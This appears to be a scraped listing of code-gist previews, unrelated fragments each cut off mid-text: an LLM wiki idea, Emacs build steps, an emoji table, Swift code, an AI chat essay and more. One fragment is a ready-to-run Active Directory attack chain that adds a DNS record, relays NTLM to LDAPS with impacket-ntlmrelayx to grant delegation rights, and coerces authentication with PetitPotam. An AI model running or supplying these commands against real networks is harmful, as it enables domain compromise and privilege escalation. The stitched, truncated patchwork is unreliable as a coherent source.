karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

samuelematias

Build Emacs-w64 with MSYS2/MinGW-w64 with Native Compilation

Instructions are modified from emacs-w64 Wiki page by zklhp. Many thanks for sharing!

1. Download the latest MSYS2 from this download page.

2. Install MSYS2 to, for example, C:\msys2 (make sure no space in path to avoid unwanted problems).

3. Optionally prettify the MSYS2 console mintty with ~/.minttyrc to make it more pleasing to eyes. Thanks to this awesome theme!

rxaviers

People

:bowtie:	😄 :smile:	😆 :laughing:
😊 :blush:	😃 :smiley:	☺️ :relaxed:
😏 :smirk:	😍 :heart_eyes:	😘 :kissing_heart:
😚 :kissing_closed_eyes:	😳 :flushed:	😌 :relieved:
😆 :satisfied:	😁 :grin:	😉 :wink:
😜 :stuck_out_tongue_winking_eye:	😝 :stuck_out_tongue_closed_eyes:	😀 :grinning:
😗 :kissing:	😙 :kissing_smiling_eyes:	😛 :stuck_out_tongue:

threepointone

(slop, but accurate)

Most AI chat examples look simple.

Take a list of messages. Send them to a model. Stream tokens back to the browser. Persist the result somewhere. Repeat.

That is a useful starting point, but it hides the actual problem. A production AI application is not just a model call. It is a small distributed system: clients disconnect, users open multiple tabs, tools run on both sides of the

yannxou

// Taken from Apple's App Dev Training: https://developer.apple.com/tutorials/app-dev-training/

    /// This color is either black or white, whichever is more accessible when viewed against the scrum color.
    var accessibleFontColor: Color {
        var red: CGFloat = 0
        var green: CGFloat = 0
        var blue: CGFloat = 0
        UIColor(self).getRed(&red, green: &green, blue: &blue, alpha: nil)
        return isLightColor(red: red, green: green, blue: blue) ? .black : .white
    }

HQJaTu

#!/usr/bin/env python3

# vim: autoindent tabstop=4 shiftwidth=4 expandtab softtabstop=4 filetype=python

# This file is part of Supermicro IPMI certificate updater.
# Supermicro IPMI certificate updater is free software: you can
# redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, version 2.
#
# This program is distributed in the hope that it will be useful, but WITHOUT

zimnyaa

# setting up a DNS record in the domain, the zone I required was found in ForestDNSZones
python3 ./krbrelayx/dnstool.py -u DOMAIN\\zimnyaa -p <PASSWORD> -a add -r testrecord -d <MY_IP> --forest DC1.DOMAIN.local

# setting up a LDAPS relay to grant RBCD to computer account we have
# in my case MAQ = 0, so I escalated on a domain workstation and used it
sudo impacket-ntlmrelayx -smb2support -t ldaps://DC1.DOMAIN.local --http-port 8080 --delegate-access --escalate-user MYWS\$ --no-dump --no-acl --no-da

# PetitPotam to WebDAV with domain credentials (not patched)
# DO NOT use FQDN here
python3 PetitPotam.py -d DOMAIN.local -u zimnyaa -p <PASSWORD> testrecord@8080/a TARGETSERVER

laksjdjf

'''
https://arxiv.org/abs/2312.00858
1. put this file in ComfyUI/custom_nodes
2. load node from <loaders>

start_step, end_step: apply this method when the timestep is between start_step and end_step
cache_interval: interval of caching (1 means no caching)
cache_depth: depth of caching
'''